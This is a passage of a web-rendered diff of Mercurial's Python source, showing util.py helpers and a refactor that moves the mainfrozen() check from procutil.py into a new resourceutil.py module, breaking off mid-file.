3364 3365 timedcm._nested -= 1
3365 3366
3366 3367
3367 3368 timedcm._nested = 0
3368 3369
3369 3370
3370 3371 def timed(func):
3371 3372 '''Report the execution time of a function call to stderr.
3372 3373
3373 3374 During development, use as a decorator when you need to measure
3374 3375 the cost of a function, e.g. as follows:
3375 3376
3376 3377 @util.timed
3377 3378 def foo(a, b, c):
3378 3379 pass
3379 3380 '''
3380 3381
3381 3382 def wrapper(*args, **kwargs):
3382 3383 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3383 3384 result = func(*args, **kwargs)
3384 3385 stderr = procutil.stderr
3385 3386 stderr.write(
3386 3387 b'%s%s: %s\n'
3387 3388 % (
3388 3389 b' ' * time_stats.level * 2,
3389 3390 pycompat.bytestr(func.__name__),
3390 3391 time_stats,
3391 3392 )
3392 3393 )
3393 3394 return result
3394 3395
3395 3396 return wrapper
3396 3397
3397 3398
3398 3399 _sizeunits = (
3399 3400 (b'm', 2 ** 20),
3400 3401 (b'k', 2 ** 10),
3401 3402 (b'g', 2 ** 30),
3402 3403 (b'kb', 2 ** 10),
3403 3404 (b'mb', 2 ** 20),
3404 3405 (b'gb', 2 ** 30),
3405 3406 (b'b', 1),
3406 3407 )
3407 3408
3408 3409
3409 3410 def sizetoint(s):
3410 3411 '''Convert a space specifier to a byte count.
3411 3412
3412 3413 >>> sizetoint(b'30')
3413 3414 30
3414 3415 >>> sizetoint(b'2.2kb')
3415 3416 2252
3416 3417 >>> sizetoint(b'6M')
3417 3418 6291456
3418 3419 '''
3419 3420 t = s.strip().lower()
3420 3421 try:
3421 3422 for k, u in _sizeunits:
3422 3423 if t.endswith(k):
3423 3424 return int(float(t[: -len(k)]) * u)
3424 3425 return int(t)
3425 3426 except ValueError:
3426 3427 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3427 3428
3428 3429
3429 3430 class hooks(object):
3430 3431 '''A collection of hook functions that can be used to extend a
3431 3432 function's behavior. Hooks are called in lexicographic order,
3432 3433 based on the names of their sources.'''
3433 3434
3434 3435 def __init__(self):
3435 3436 self._hooks = []
3436 3437
3437 3438 def add(self, source, hook):
3438 3439 self._hooks.append((source, hook))
3439 3440
3440 3441 def __call__(self, *args):
3441 3442 self._hooks.sort(key=lambda x: x[0])
3442 3443 results = []
3443 3444 for source, hook in self._hooks:
3444 3445 results.append(hook(*args))
3445 3446 return results
3446 3447
3447 3448
3448 3449 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3449 3450 '''Yields lines for a nicely formatted stacktrace.
3450 3451 Skips the 'skip' last entries, then return the last 'depth' entries.
3451 3452 Each file+linenumber is formatted according to fileline.
3452 3453 Each line is formatted according to line.
3453 3454 If line is None, it yields:
3454 3455 length of longest filepath+line number,
3455 3456 filepath+linenumber,
3456 3457 function
3457 3458
3458 3459 Not be used in production code but very convenient while developing.
3459 3460 '''
3460 3461 entries = [
3461 3462 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3462 3463 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3463 3464 ][-depth:]
3464 3465 if entries:
3465 3466 fnmax = max(len(entry[0]) for entry in entries)
3466 3467 for fnln, func in entries:
3467 3468 if line is None:
3468 3469 yield (fnmax, fnln, func)
3469 3470 else:
3470 3471 yield line % (fnmax, fnln, func)
3471 3472
3472 3473
3473 3474 def debugstacktrace(
3474 3475 msg=b'stacktrace',
3475 3476 skip=0,
3476 3477 f=procutil.stderr,
3477 3478 otherf=procutil.stdout,
3478 3479 depth=0,
3479 3480 ):
3480 3481 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3481 3482 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3482 3483 By default it will flush stdout first.
3483 3484 It can be used everywhere and intentionally does not require an ui object.
3484 3485 Not be used in production code but very convenient while developing.
3485 3486 '''
3486 3487 if otherf:
3487 3488 otherf.flush()
3488 3489 f.write(b'%s at:\n' % msg.rstrip())
3489 3490 for line in getstackframes(skip + 1, depth=depth):
3490 3491 f.write(line)
3491 3492 f.flush()
3492 3493
3493 3494
3494 3495 # convenient shortcut
3495 3496 dst = debugstacktrace
3496 3497
3497 3498
3498 3499 def safename(f, tag, ctx, others=None):
3499 3500 """
3500 3501 Generate a name that it is safe to rename f to in the given context.
3501 3502
3502 3503 f: filename to rename
3503 3504 tag: a string tag that will be included in the new name
3504 3505 ctx: a context, in which the new name must not exist
3505 3506 others: a set of other filenames that the new name must not be in
3506 3507
3507 3508 Returns a file name of the form oldname~tag[~number] which does not exist
3508 3509 in the provided context and is not in the set of other names.
3509 3510 """
3510 3511 if others is None:
3511 3512 others = set()
3512 3513
3513 3514 fn = b'%s~%s' % (f, tag)
3514 3515 if fn not in ctx and fn not in others:
3515 3516 return fn
3516 3517 for n in itertools.count(1):
3517 3518 fn = b'%s~%s~%s' % (f, tag, n)
3518 3519 if fn not in ctx and fn not in others:
3519 3520 return fn
3520 3521
3521 3522
3522 3523 def readexactly(stream, n):
3523 3524 '''read n bytes from stream.read and abort if less was available'''
3524 3525 s = stream.read(n)
3525 3526 if len(s) < n:
3526 3527 raise error.Abort(
3527 3528 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3528 3529 % (len(s), n)
3529 3530 )
3530 3531 return s
3531 3532
3532 3533
3533 3534 def uvarintencode(value):
3534 3535 """Encode an unsigned integer value to a varint.
3535 3536
3536 3537 A varint is a variable length integer of 1 or more bytes. Each byte
3537 3538 except the last has the most significant bit set. The lower 7 bits of
3538 3539 each byte store the 2's complement representation, least significant group
3539 3540 first.
3540 3541
3541 3542 >>> uvarintencode(0)
3542 3543 '\\x00'
3543 3544 >>> uvarintencode(1)
3544 3545 '\\x01'
3545 3546 >>> uvarintencode(127)
3546 3547 '\\x7f'
3547 3548 >>> uvarintencode(1337)
3548 3549 '\\xb9\\n'
3549 3550 >>> uvarintencode(65536)
3550 3551 '\\x80\\x80\\x04'
3551 3552 >>> uvarintencode(-1)
3552 3553 Traceback (most recent call last):
3553 3554 ...
3554 3555 ProgrammingError: negative value for uvarint: -1
3555 3556 """
3556 3557 if value < 0:
3557 3558 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3558 3559 bits = value & 0x7F
3559 3560 value >>= 7
3560 3561 bytes = []
3561 3562 while value:
3562 3563 bytes.append(pycompat.bytechr(0x80 | bits))
3563 3564 bits = value & 0x7F
3564 3565 value >>= 7
3565 3566 bytes.append(pycompat.bytechr(bits))
3566 3567
3567 3568 return b''.join(bytes)
3568 3569
3569 3570
3570 3571 def uvarintdecodestream(fh):
3571 3572 """Decode an unsigned variable length integer from a stream.
3572 3573
3573 3574 The passed argument is anything that has a ``.read(N)`` method.
3574 3575
3575 3576 >>> try:
3576 3577 ... from StringIO import StringIO as BytesIO
3577 3578 ... except ImportError:
3578 3579 ... from io import BytesIO
3579 3580 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3580 3581 0
3581 3582 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3582 3583 1
3583 3584 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3584 3585 127
3585 3586 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3586 3587 1337
3587 3588 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3588 3589 65536
3589 3590 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3590 3591 Traceback (most recent call last):
3591 3592 ...
3592 3593 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3593 3594 """
3594 3595 result = 0
3595 3596 shift = 0
3596 3597 while True:
3597 3598 byte = ord(readexactly(fh, 1))
3598 3599 result |= (byte & 0x7F) << shift
3599 3600 if not (byte & 0x80):
3600 3601 return result
3601 3602 shift += 7
@@ -1,637 +1,626 b''
1 1 # procutil.py - utility for managing processes and executable environment
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 from __future__ import absolute_import
11 11
12 12 import contextlib
13 13 import errno
14 import imp
15 14 import io
16 15 import os
17 16 import signal
18 17 import subprocess
19 18 import sys
20 19 import time
21 20
22 21 from ..i18n import _
23 22 from ..pycompat import (
24 23 getattr,
25 24 open,
26 25 )
27 26
28 27 from .. import (
29 28 encoding,
30 29 error,
31 30 policy,
32 31 pycompat,
33 32 )
34 33
34 # Import like this to keep import-checker happy
35 from ..utils import resourceutil
36
35 37 osutil = policy.importmod('osutil')
36 38
37 39 stderr = pycompat.stderr
38 40 stdin = pycompat.stdin
39 41 stdout = pycompat.stdout
40 42
41 43
42 44 def isatty(fp):
43 45 try:
44 46 return fp.isatty()
45 47 except AttributeError:
46 48 return False
47 49
48 50
49 51 # glibc determines buffering on first write to stdout - if we replace a TTY
50 52 # destined stdout with a pipe destined stdout (e.g. pager), we want line
51 53 # buffering (or unbuffered, on Windows)
52 54 if isatty(stdout):
53 55 if pycompat.iswindows:
54 56 # Windows doesn't support line buffering
55 57 stdout = os.fdopen(stdout.fileno(), 'wb', 0)
56 58 elif not pycompat.ispy3:
57 59 # on Python 3, stdout (sys.stdout.buffer) is already line buffered and
58 60 # buffering=1 is not handled in binary mode
59 61 stdout = os.fdopen(stdout.fileno(), 'wb', 1)
60 62
61 63 if pycompat.iswindows:
62 64 from .. import windows as platform
63 65
64 66 stdout = platform.winstdout(stdout)
65 67 else:
66 68 from .. import posix as platform
67 69
68 70 findexe = platform.findexe
69 71 _gethgcmd = platform.gethgcmd
70 72 getuser = platform.getuser
71 73 getpid = os.getpid
72 74 hidewindow = platform.hidewindow
73 75 quotecommand = platform.quotecommand
74 76 readpipe = platform.readpipe
75 77 setbinary = platform.setbinary
76 78 setsignalhandler = platform.setsignalhandler
77 79 shellquote = platform.shellquote
78 80 shellsplit = platform.shellsplit
79 81 spawndetached = platform.spawndetached
80 82 sshargs = platform.sshargs
81 83 testpid = platform.testpid
82 84
83 85 try:
84 86 setprocname = osutil.setprocname
85 87 except AttributeError:
86 88 pass
87 89 try:
88 90 unblocksignal = osutil.unblocksignal
89 91 except AttributeError:
90 92 pass
91 93
92 94 closefds = pycompat.isposix
93 95
94 96
95 97 def explainexit(code):
96 98 """return a message describing a subprocess status
97 99 (codes from kill are negative - not os.system/wait encoding)"""
98 100 if code >= 0:
99 101 return _(b"exited with status %d") % code
100 102 return _(b"killed by signal %d") % -code
101 103
102 104
103 105 class _pfile(object):
104 106 """File-like wrapper for a stream opened by subprocess.Popen()"""
105 107
106 108 def __init__(self, proc, fp):
107 109 self._proc = proc
108 110 self._fp = fp
109 111
110 112 def close(self):
111 113 # unlike os.popen(), this returns an integer in subprocess coding
112 114 self._fp.close()
113 115 return self._proc.wait()
114 116
115 117 def __iter__(self):
116 118 return iter(self._fp)
117 119
118 120 def __getattr__(self, attr):
119 121 return getattr(self._fp, attr)
120 122
121 123 def __enter__(self):
122 124 return self
123 125
124 126 def __exit__(self, exc_type, exc_value, exc_tb):
125 127 self.close()
126 128
127 129
128 130 def popen(cmd, mode=b'rb', bufsize=-1):
129 131 if mode == b'rb':
130 132 return _popenreader(cmd, bufsize)
131 133 elif mode == b'wb':
132 134 return _popenwriter(cmd, bufsize)
133 135 raise error.ProgrammingError(b'unsupported mode: %r' % mode)
134 136
135 137
136 138 def _popenreader(cmd, bufsize):
137 139 p = subprocess.Popen(
138 140 tonativestr(quotecommand(cmd)),
139 141 shell=True,
140 142 bufsize=bufsize,
141 143 close_fds=closefds,
142 144 stdout=subprocess.PIPE,
143 145 )
144 146 return _pfile(p, p.stdout)
145 147
146 148
147 149 def _popenwriter(cmd, bufsize):
148 150 p = subprocess.Popen(
149 151 tonativestr(quotecommand(cmd)),
150 152 shell=True,
151 153 bufsize=bufsize,
152 154 close_fds=closefds,
153 155 stdin=subprocess.PIPE,
154 156 )
155 157 return _pfile(p, p.stdin)
156 158
157 159
158 160 def popen2(cmd, env=None):
159 161 # Setting bufsize to -1 lets the system decide the buffer size.
160 162 # The default for bufsize is 0, meaning unbuffered. This leads to
161 163 # poor performance on Mac OS X: http://bugs.python.org/issue4194
162 164 p = subprocess.Popen(
163 165 tonativestr(cmd),
164 166 shell=True,
165 167 bufsize=-1,
166 168 close_fds=closefds,
167 169 stdin=subprocess.PIPE,
168 170 stdout=subprocess.PIPE,
169 171 env=tonativeenv(env),
170 172 )
171 173 return p.stdin, p.stdout
172 174
173 175
174 176 def popen3(cmd, env=None):
175 177 stdin, stdout, stderr, p = popen4(cmd, env)
176 178 return stdin, stdout, stderr
177 179
178 180
179 181 def popen4(cmd, env=None, bufsize=-1):
180 182 p = subprocess.Popen(
181 183 tonativestr(cmd),
182 184 shell=True,
183 185 bufsize=bufsize,
184 186 close_fds=closefds,
185 187 stdin=subprocess.PIPE,
186 188 stdout=subprocess.PIPE,
187 189 stderr=subprocess.PIPE,
188 190 env=tonativeenv(env),
189 191 )
190 192 return p.stdin, p.stdout, p.stderr, p
191 193
192 194
193 195 def pipefilter(s, cmd):
194 196 '''filter string S through command CMD, returning its output'''
195 197 p = subprocess.Popen(
196 198 tonativestr(cmd),
197 199 shell=True,
198 200 close_fds=closefds,
199 201 stdin=subprocess.PIPE,
200 202 stdout=subprocess.PIPE,
201 203 )
202 204 pout, perr = p.communicate(s)
203 205 return pout
204 206
205 207
206 208 def tempfilter(s, cmd):
207 209 '''filter string S through a pair of temporary files with CMD.
208 210 CMD is used as a template to create the real command to be run,
209 211 with the strings INFILE and OUTFILE replaced by the real names of
210 212 the temporary files generated.'''
211 213 inname, outname = None, None
212 214 try:
213 215 infd, inname = pycompat.mkstemp(prefix=b'hg-filter-in-')
214 216 fp = os.fdopen(infd, 'wb')
215 217 fp.write(s)
216 218 fp.close()
217 219 outfd, outname = pycompat.mkstemp(prefix=b'hg-filter-out-')
218 220 os.close(outfd)
219 221 cmd = cmd.replace(b'INFILE', inname)
220 222 cmd = cmd.replace(b'OUTFILE', outname)
221 223 code = system(cmd)
222 224 if pycompat.sysplatform == b'OpenVMS' and code & 1:
223 225 code = 0
224 226 if code:
225 227 raise error.Abort(
226 228 _(b"command '%s' failed: %s") % (cmd, explainexit(code))
227 229 )
228 230 with open(outname, b'rb') as fp:
229 231 return fp.read()
230 232 finally:
231 233 try:
232 234 if inname:
233 235 os.unlink(inname)
234 236 except OSError:
235 237 pass
236 238 try:
237 239 if outname:
238 240 os.unlink(outname)
239 241 except OSError:
240 242 pass
241 243
242 244
243 245 _filtertable = {
244 246 b'tempfile:': tempfilter,
245 247 b'pipe:': pipefilter,
246 248 }
247 249
248 250
249 251 def filter(s, cmd):
250 252 b"filter a string through a command that transforms its input to its output"
251 253 for name, fn in pycompat.iteritems(_filtertable):
252 254 if cmd.startswith(name):
253 255 return fn(s, cmd[len(name) :].lstrip())
254 256 return pipefilter(s, cmd)
255 257
256 258
257 def mainfrozen():
258 """return True if we are a frozen executable.
259
260 The code supports py2exe (most common, Windows only) and tools/freeze
261 (portable, not much used).
262 """
263 return (
264 pycompat.safehasattr(sys, "frozen")
265 or pycompat.safehasattr(sys, "importers") # new py2exe
266 or imp.is_frozen("__main__") # old py2exe
267 ) # tools/freeze
268
269
270 259 _hgexecutable = None
271 260
272 261
273 262 def hgexecutable():
274 263 """return location of the 'hg' executable.
275 264
276 265 Defaults to $HG or 'hg' in the search path.
277 266 """
278 267 if _hgexecutable is None:
279 268 hg = encoding.environ.get(b'HG')
280 269 mainmod = sys.modules['__main__']
281 270 if hg:
282 271 _sethgexecutable(hg)
283 elif mainfrozen():
272 elif resourceutil.mainfrozen():
284 273 if getattr(sys, 'frozen', None) == 'macosx_app':
285 274 # Env variable set by py2app
286 275 _sethgexecutable(encoding.environ[b'EXECUTABLEPATH'])
287 276 else:
288 277 _sethgexecutable(pycompat.sysexecutable)
289 278 elif (
290 279 not pycompat.iswindows
291 280 and os.path.basename(getattr(mainmod, '__file__', '')) == 'hg'
292 281 ):
293 282 _sethgexecutable(pycompat.fsencode(mainmod.__file__))
294 283 else:
295 284 _sethgexecutable(
296 285 findexe(b'hg') or os.path.basename(pycompat.sysargv[0])
297 286 )
298 287 return _hgexecutable
299 288
300 289
301 290 def _sethgexecutable(path):
302 291 """set location of the 'hg' executable"""
303 292 global _hgexecutable
304 293 _hgexecutable = path
305 294
306 295
307 296 def _testfileno(f, stdf):
308 297 fileno = getattr(f, 'fileno', None)
309 298 try:
310 299 return fileno and fileno() == stdf.fileno()
311 300 except io.UnsupportedOperation:
312 301 return False # fileno() raised UnsupportedOperation
313 302
314 303
315 304 def isstdin(f):
316 305 return _testfileno(f, sys.__stdin__)
317 306
318 307
319 308 def isstdout(f):
320 309 return _testfileno(f, sys.__stdout__)
321 310
322 311
323 312 def protectstdio(uin, uout):
324 313 """Duplicate streams and redirect original if (uin, uout) are stdio
325 314
326 315 If uin is stdin, it's redirected to /dev/null. If uout is stdout, it's
327 316 redirected to stderr so the output is still readable.
328 317
329 318 Returns (fin, fout) which point to the original (uin, uout) fds, but
330 319 may be copy of (uin, uout). The returned streams can be considered
331 320 "owned" in that print(), exec(), etc. never reach to them.
332 321 """
333 322 uout.flush()
334 323 fin, fout = uin, uout
335 324 if _testfileno(uin, stdin):
336 325 newfd = os.dup(uin.fileno())
337 326 nullfd = os.open(os.devnull, os.O_RDONLY)
338 327 os.dup2(nullfd, uin.fileno())
339 328 os.close(nullfd)
340 329 fin = os.fdopen(newfd, 'rb')
341 330 if _testfileno(uout, stdout):
342 331 newfd = os.dup(uout.fileno())
343 332 os.dup2(stderr.fileno(), uout.fileno())
344 333 fout = os.fdopen(newfd, 'wb')
345 334 return fin, fout
346 335
347 336
348 337 def restorestdio(uin, uout, fin, fout):
349 338 """Restore (uin, uout) streams from possibly duplicated (fin, fout)"""
350 339 uout.flush()
351 340 for f, uif in [(fin, uin), (fout, uout)]:
352 341 if f is not uif:
353 342 os.dup2(f.fileno(), uif.fileno())
354 343 f.close()
355 344
356 345
357 346 def shellenviron(environ=None):
358 347 """return environ with optional override, useful for shelling out"""
359 348
360 349 def py2shell(val):
361 350 b'convert python object into string that is useful to shell'
362 351 if val is None or val is False:
363 352 return b'0'
364 353 if val is True:
365 354 return b'1'
366 355 return pycompat.bytestr(val)
367 356
368 357 env = dict(encoding.environ)
369 358 if environ:
370 359 env.update((k, py2shell(v)) for k, v in pycompat.iteritems(environ))
371 360 env[b'HG'] = hgexecutable()
372 361 return env
373 362
374 363
375 364 if pycompat.iswindows:
376 365
377 366 def shelltonative(cmd, env):
378 367 return platform.shelltocmdexe( # pytype: disable=module-attr
379 368 cmd, shellenviron(env)
380 369 )
381 370
382 371 tonativestr = encoding.strfromlocal
383 372 else:
384 373
385 374 def shelltonative(cmd, env):
386 375 return cmd
387 376
388 377 tonativestr = pycompat.identity
389 378
390 379
391 380 def tonativeenv(env):
392 381 '''convert the environment from bytes to strings suitable for Popen(), etc.
393 382 '''
394 383 return pycompat.rapply(tonativestr, env)
395 384
396 385
397 386 def system(cmd, environ=None, cwd=None, out=None):
398 387 '''enhanced shell command execution.
399 388 run with environment maybe modified, maybe in different dir.
400 389
401 390 if out is specified, it is assumed to be a file-like object that has a
402 391 write() method. stdout and stderr will be redirected to out.'''
403 392 try:
404 393 stdout.flush()
405 394 except Exception:
406 395 pass
407 396 cmd = quotecommand(cmd)
408 397 env = shellenviron(environ)
409 398 if out is None or isstdout(out):
410 399 rc = subprocess.call(
411 400 tonativestr(cmd),
412 401 shell=True,
413 402 close_fds=closefds,
414 403 env=tonativeenv(env),
415 404 cwd=pycompat.rapply(tonativestr, cwd),
416 405 )
417 406 else:
418 407 proc = subprocess.Popen(
419 408 tonativestr(cmd),
420 409 shell=True,
421 410 close_fds=closefds,
422 411 env=tonativeenv(env),
423 412 cwd=pycompat.rapply(tonativestr, cwd),
424 413 stdout=subprocess.PIPE,
425 414 stderr=subprocess.STDOUT,
426 415 )
427 416 for line in iter(proc.stdout.readline, b''):
428 417 out.write(line)
429 418 proc.wait()
430 419 rc = proc.returncode
431 420 if pycompat.sysplatform == b'OpenVMS' and rc & 1:
432 421 rc = 0
433 422 return rc
434 423
435 424
436 425 def gui():
437 426 '''Are we running in a GUI?'''
438 427 if pycompat.isdarwin:
439 428 if b'SSH_CONNECTION' in encoding.environ:
440 429 # handle SSH access to a box where the user is logged in
441 430 return False
442 431 elif getattr(osutil, 'isgui', None):
443 432 # check if a CoreGraphics session is available
444 433 return osutil.isgui()
445 434 else:
446 435 # pure build; use a safe default
447 436 return True
448 437 else:
449 438 return pycompat.iswindows or encoding.environ.get(b"DISPLAY")
450 439
451 440
452 441 def hgcmd():
453 442 """Return the command used to execute current hg
454 443
455 444 This is different from hgexecutable() because on Windows we want
456 445 to avoid things opening new shell windows like batch files, so we
457 446 get either the python call or current executable.
458 447 """
459 if mainfrozen():
448 if resourceutil.mainfrozen():
460 449 if getattr(sys, 'frozen', None) == 'macosx_app':
461 450 # Env variable set by py2app
462 451 return [encoding.environ[b'EXECUTABLEPATH']]
463 452 else:
464 453 return [pycompat.sysexecutable]
465 454 return _gethgcmd()
466 455
467 456
468 457 def rundetached(args, condfn):
469 458 """Execute the argument list in a detached process.
470 459
471 460 condfn is a callable which is called repeatedly and should return
472 461 True once the child process is known to have started successfully.
473 462 At this point, the child process PID is returned. If the child
474 463 process fails to start or finishes before condfn() evaluates to
475 464 True, return -1.
476 465 """
477 466 # Windows case is easier because the child process is either
478 467 # successfully starting and validating the condition or exiting
479 468 # on failure. We just poll on its PID. On Unix, if the child
480 469 # process fails to start, it will be left in a zombie state until
481 470 # the parent wait on it, which we cannot do since we expect a long
482 471 # running process on success. Instead we listen for SIGCHLD telling
483 472 # us our child process terminated.
484 473 terminated = set()
485 474
486 475 def handler(signum, frame):
487 476 terminated.add(os.wait())
488 477
489 478 prevhandler = None
490 479 SIGCHLD = getattr(signal, 'SIGCHLD', None)
491 480 if SIGCHLD is not None:
492 481 prevhandler = signal.signal(SIGCHLD, handler)
493 482 try:
494 483 pid = spawndetached(args)
495 484 while not condfn():
496 485 if (pid in terminated or not testpid(pid)) and not condfn():
497 486 return -1
498 487 time.sleep(0.1)
499 488 return pid
500 489 finally:
501 490 if prevhandler is not None:
502 491 signal.signal(signal.SIGCHLD, prevhandler)
503 492
504 493
505 494 @contextlib.contextmanager
506 495 def uninterruptible(warn):
507 496 """Inhibit SIGINT handling on a region of code.
508 497
509 498 Note that if this is called in a non-main thread, it turns into a no-op.
510 499
511 500 Args:
512 501 warn: A callable which takes no arguments, and returns True if the
513 502 previous signal handling should be restored.
514 503 """
515 504
516 505 oldsiginthandler = [signal.getsignal(signal.SIGINT)]
517 506 shouldbail = []
518 507
519 508 def disabledsiginthandler(*args):
520 509 if warn():
521 510 signal.signal(signal.SIGINT, oldsiginthandler[0])
522 511 del oldsiginthandler[0]
523 512 shouldbail.append(True)
524 513
525 514 try:
526 515 try:
527 516 signal.signal(signal.SIGINT, disabledsiginthandler)
528 517 except ValueError:
529 518 # wrong thread, oh well, we tried
530 519 del oldsiginthandler[0]
531 520 yield
532 521 finally:
533 522 if oldsiginthandler:
534 523 signal.signal(signal.SIGINT, oldsiginthandler[0])
535 524 if shouldbail:
536 525 raise KeyboardInterrupt
537 526
538 527
539 528 if pycompat.iswindows:
540 529 # no fork on Windows, but we can create a detached process
541 530 # https://msdn.microsoft.com/en-us/library/windows/desktop/ms684863.aspx
542 531 # No stdlib constant exists for this value
543 532 DETACHED_PROCESS = 0x00000008
544 533 # Following creation flags might create a console GUI window.
545 534 # Using subprocess.CREATE_NEW_CONSOLE might helps.
546 535 # See https://phab.mercurial-scm.org/D1701 for discussion
547 536 _creationflags = (
548 537 DETACHED_PROCESS
549 538 | subprocess.CREATE_NEW_PROCESS_GROUP # pytype: disable=module-attr
550 539 )
551 540
552 541 def runbgcommand(
553 542 script, env, shell=False, stdout=None, stderr=None, ensurestart=True
554 543 ):
555 544 '''Spawn a command without waiting for it to finish.'''
556 545 # we can't use close_fds *and* redirect stdin. I'm not sure that we
557 546 # need to because the detached process has no console connection.
558 547 subprocess.Popen(
559 548 tonativestr(script),
560 549 shell=shell,
561 550 env=tonativeenv(env),
562 551 close_fds=True,
563 552 creationflags=_creationflags,
564 553 stdout=stdout,
565 554 stderr=stderr,
566 555 )
567 556
568 557
569 558 else:
570 559
571 560 def runbgcommand(
572 561 cmd, env, shell=False, stdout=None, stderr=None, ensurestart=True
573 562 ):
574 563 '''Spawn a command without waiting for it to finish.'''
575 564 # double-fork to completely detach from the parent process
576 565 # based on http://code.activestate.com/recipes/278731
577 566 pid = os.fork()
578 567 if pid:
579 568 if not ensurestart:
580 569 return
581 570 # Parent process
582 571 (_pid, status) = os.waitpid(pid, 0)
583 572 if os.WIFEXITED(status):
584 573 returncode = os.WEXITSTATUS(status)
585 574 else:
586 575 returncode = -(os.WTERMSIG(status))
587 576 if returncode != 0:
588 577 # The child process's return code is 0 on success, an errno
589 578 # value on failure, or 255 if we don't have a valid errno
590 579 # value.
591 580 #
592 581 # (It would be slightly nicer to return the full exception info
593 582 # over a pipe as the subprocess module does. For now it
594 583 # doesn't seem worth adding that complexity here, though.)
595 584 if returncode == 255:
596 585 returncode = errno.EINVAL
597 586 raise OSError(
598 587 returncode,
599 588 b'error running %r: %s' % (cmd, os.strerror(returncode)),
600 589 )
601 590 return
602 591
603 592 returncode = 255
604 593 try:
605 594 # Start a new session
606 595 os.setsid()
607 596
608 597 stdin = open(os.devnull, b'r')
609 598 if stdout is None:
610 599 stdout = open(os.devnull, b'w')
611 600 if stderr is None:
612 601 stderr = open(os.devnull, b'w')
613 602
614 603 # connect stdin to devnull to make sure the subprocess can't
615 604 # muck up that stream for mercurial.
616 605 subprocess.Popen(
617 606 cmd,
618 607 shell=shell,
619 608 env=env,
620 609 close_fds=True,
621 610 stdin=stdin,
622 611 stdout=stdout,
623 612 stderr=stderr,
624 613 )
625 614 returncode = 0
626 615 except EnvironmentError as ex:
627 616 returncode = ex.errno & 0xFF
628 617 if returncode == 0:
629 618 # This shouldn't happen, but just in case make sure the
630 619 # return code is never 0 here.
631 620 returncode = 255
632 621 except Exception:
633 622 returncode = 255
634 623 finally:
635 624 # mission accomplished, this child needs to exit and not
636 625 # continue the hg process here.
637 626 os._exit(returncode)
This diff has been collapsed as it changes many lines, (613 lines changed) Show them Hide them
@@ -1,637 +1,28 b''
1 # procutil.py - utility for managing processes and executable environment
1 # resourceutil.py - utility for looking up resources
2 2 #
3 3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
4 4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
5 5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
6 6 #
7 7 # This software may be used and distributed according to the terms of the
8 8 # GNU General Public License version 2 or any later version.
9 9
10 10 from __future__ import absolute_import
11 11
12 import contextlib
13 import errno
14 12 import imp
15 import io
16 import os
17 import signal
18 import subprocess
19 13 import sys
20 import time
21
22 from ..i18n import _
23 from ..pycompat import (
24 getattr,
25 open,
26 )
27
28 from .. import (
29 encoding,
30 error,
31 policy,
32 pycompat,
33 )
34
35 osutil = policy.importmod('osutil')
36
37 stderr = pycompat.stderr
38 stdin = pycompat.stdin
39 stdout = pycompat.stdout
40
41
42 def isatty(fp):
43 try:
44 return fp.isatty()
45 except AttributeError:
46 return False
47
48
49 # glibc determines buffering on first write to stdout - if we replace a TTY
50 # destined stdout with a pipe destined stdout (e.g. pager), we want line
51 # buffering (or unbuffered, on Windows)
52 if isatty(stdout):
53 if pycompat.iswindows:
54 # Windows doesn't support line buffering
55 stdout = os.fdopen(stdout.fileno(), 'wb', 0)
56 elif not pycompat.ispy3:
57 # on Python 3, stdout (sys.stdout.buffer) is already line buffered and
58 # buffering=1 is not handled in binary mode
59 stdout = os.fdopen(stdout.fileno(), 'wb', 1)
60
61 if pycompat.iswindows:
62 from .. import windows as platform
63
64 stdout = platform.winstdout(stdout)
65 else:
66 from .. import posix as platform
67
68 findexe = platform.findexe
69 _gethgcmd = platform.gethgcmd
70 getuser = platform.getuser
71 getpid = os.getpid
72 hidewindow = platform.hidewindow
73 quotecommand = platform.quotecommand
74 readpipe = platform.readpipe
75 setbinary = platform.setbinary
76 setsignalhandler = platform.setsignalhandler
77 shellquote = platform.shellquote
78 shellsplit = platform.shellsplit
79 spawndetached = platform.spawndetached
80 sshargs = platform.sshargs
81 testpid = platform.testpid
82
83 try:
84 setprocname = osutil.setprocname
85 except AttributeError:
86 pass
87 try:
88 unblocksignal = osutil.unblocksignal
89 except AttributeError:
90 pass
91
92 closefds = pycompat.isposix
93
94
95 def explainexit(code):
96 """return a message describing a subprocess status
97 (codes from kill are negative - not os.system/wait encoding)"""
98 if code >= 0:
99 return _(b"exited with status %d") % code
100 return _(b"killed by signal %d") % -code
101
102
103 class _pfile(object):
104 """File-like wrapper for a stream opened by subprocess.Popen()"""
105
106 def __init__(self, proc, fp):
107 self._proc = proc
108 self._fp = fp
109
110 def close(self):
111 # unlike os.popen(), this returns an integer in subprocess coding
112 self._fp.close()
113 return self._proc.wait()
114
115 def __iter__(self):
116 return iter(self._fp)
117
118 def __getattr__(self, attr):
119 return getattr(self._fp, attr)
120
121 def __enter__(self):
122 return self
123
124 def __exit__(self, exc_type, exc_value, exc_tb):
125 self.close()
126
127 14
128 def popen(cmd, mode=b'rb', bufsize=-1):
129 if mode == b'rb':
130 return _popenreader(cmd, bufsize)
131 elif mode == b'wb':
132 return _popenwriter(cmd, bufsize)
133 raise error.ProgrammingError(b'unsupported mode: %r' % mode)
134
135
136 def _popenreader(cmd, bufsize):
